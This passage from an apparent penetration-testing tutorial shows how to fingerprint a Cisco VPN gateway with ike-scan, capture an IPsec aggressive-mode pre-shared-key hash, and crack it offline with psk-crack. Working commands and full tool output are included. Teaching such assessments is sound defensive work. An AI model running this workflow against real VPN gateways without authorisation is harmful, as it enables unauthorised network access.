

```
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
```

```
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=4fc3e84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK
LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f006c2d3c0000000 (IKE
Fragmentation)
```

IKE Backoff Patterns:

IP Address	No. Recv time	Delta Time
172.16.21.200	1 1322286031.744904	0.000000
172.16.21.200	2 1322286039.745081	8.000177
172.16.21.200	3 1322286047.745989	8.000908
172.16.21.200	4 1322286055.746972	8.000983
172.16.21.200	Implementation guess: Cisco VPN Concentrator	

Ending ike-scan 1.9: 1 hosts scanned in 84.000 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

Note that the Ike-scan fingerprinting can be done without even using the `--trans` option, but adding it will make the process faster.

So you have been successful in fingerprinting the vendor of the VPN gateway; in this case, it is a Cisco VPN Server like ASA or PIX.

PSK mode assessment and PSK sniffing

The aggressive mode of IPsec does not use a key distribution algorithm like Diffie-Hellman to protect the authentication data exchange. This makes it possible for the attacker to capture the authentication data. A server that works with aggressive mode will send the authentication hash in clear-text mode, which can be captured and cracked offline by tools like ike-crack. In the following example, the penetration tester sniffs the PSK hash and saves it into a file for offline cracking:

```
root@bt:~# ike-scan --pskcrack --aggressive --id=peer
172.16.21.200 > psk.txt
```

Ike-probe or Ike-scan can be used to capture authentication data, as the following example shows:

```
root@bt:~# ike-scan --pskcrack --aggressive --id=peer
172.16.21.200
```

```
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Aggressive Mode Handshake returned
HDR=(CKY-R=7eb59f437bb5445) SA=(Enc=3DES Hash=SHA1
Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
```

```
KeyExchange(128 bytes) Nonce(20 bytes) ID(Type=ID_IPv4_ADDR,
Value=172.16.21.200) Hash(20 bytes) VID=12f5f28c457168a970209f
e274cc8100 (Cisco Unity) VID=090026b9d0f6b712 (XAUTH) VID=4048
b7d56ebce88525e7de7f006c2d3c0000000 (IKE Fragmentation) VID=1
f07f70ea6514d30bf9a6542a500100 (Cisco VPN Concentrator)
```

```
IKE PSK parameters (g_xr:g_xi:cky_r:cky_i:sai_b:idir_b:ni_b:n
r_b:hash_r):
41391d84dd47367e7f3182b07cc3f3bc48e0d8c917452ac073bce3673c4352
583759e508a9806ab7c55944273c25a8722c259c76e5e393a2e48c36bf205
d571cf0d eba36c573fe4b94939b867ec4ecf197c23930d496a73df4a149ea
6220029c6658e401de40f774fa098606a70ab948c30eb2ac54258a86dd572
ae2cd32:8bf0e2a5a07bd19924583cce6523c8bf4f5a6cd7ce65d015b61b2
feeb790f37265de794c51af0a749e293 9ee0f581870b7c515270c1672e827
c6a086fe70d6cc0d0945ac73f1187764a0ebc33d0d09c0a4e0ba290f
c276277b0fcd2e0b04e71881b5d0e8809a57000141b39c1139afea65
df52911e6ef66e6319eaf:7eb9f437bbc545:059085968c28a
7c4:0000000100000001000000090010100040300000240101000000010
05000200020003000100040002000001000c00040007
00030000240201000001000500020010030001000400020006000100
0c0004000070800300002403010000000100010802000280030001000
000280000001000c0004000708000000024040100000001000100020001
000300010004000200080001000c000400070800:01110000a1c105c8:
bb3c0d7f23234a70d4e125def19bf249c0db299d7:68aeca96d2
6fba861756a48d79e11cca2623843:229f9468990c4887d2b1e373160
c228e51ff6c9ending ike-scan 1.9: 1 hosts scanned in
0.018 seconds (55.19 hosts/sec). 1 returned handshake; 0
returned notify
```

Offline PSK cracking

Before cracking the captured hashed authentication string offline, edit the output file to include only the hash value. (It should only include 9 colon-separated values.) The offline cracking in Backtrack is done with `psk-crack`, which supports the dictionary, brute-force and hybrid mode cracking. There are a number of other tools like Cain and Abel available for the offline PSK hash cracking. The following example shows the dictionary mode of psk-crack:

```
root@bt:~# psk-crack -d /usr/local/share/ike-scan/psk-crack-
dictionary psk.txt
```

```
Starting psk-crack [ike-scan 1.9] (http://www.nta-monitor.com/
tools/ike-scan/)
```

Running in dictionary cracking mode

key "ADMIN" matches SHA1 hash

c1dc52bb88d4b434c1050a6e77e923f03afbc82

Ending psk-crack: 136 iterations in 0.001 seconds (153153.15 iterations/sec)

So the VPN gateway is configured with a simple pre-shared key "ADMIN" !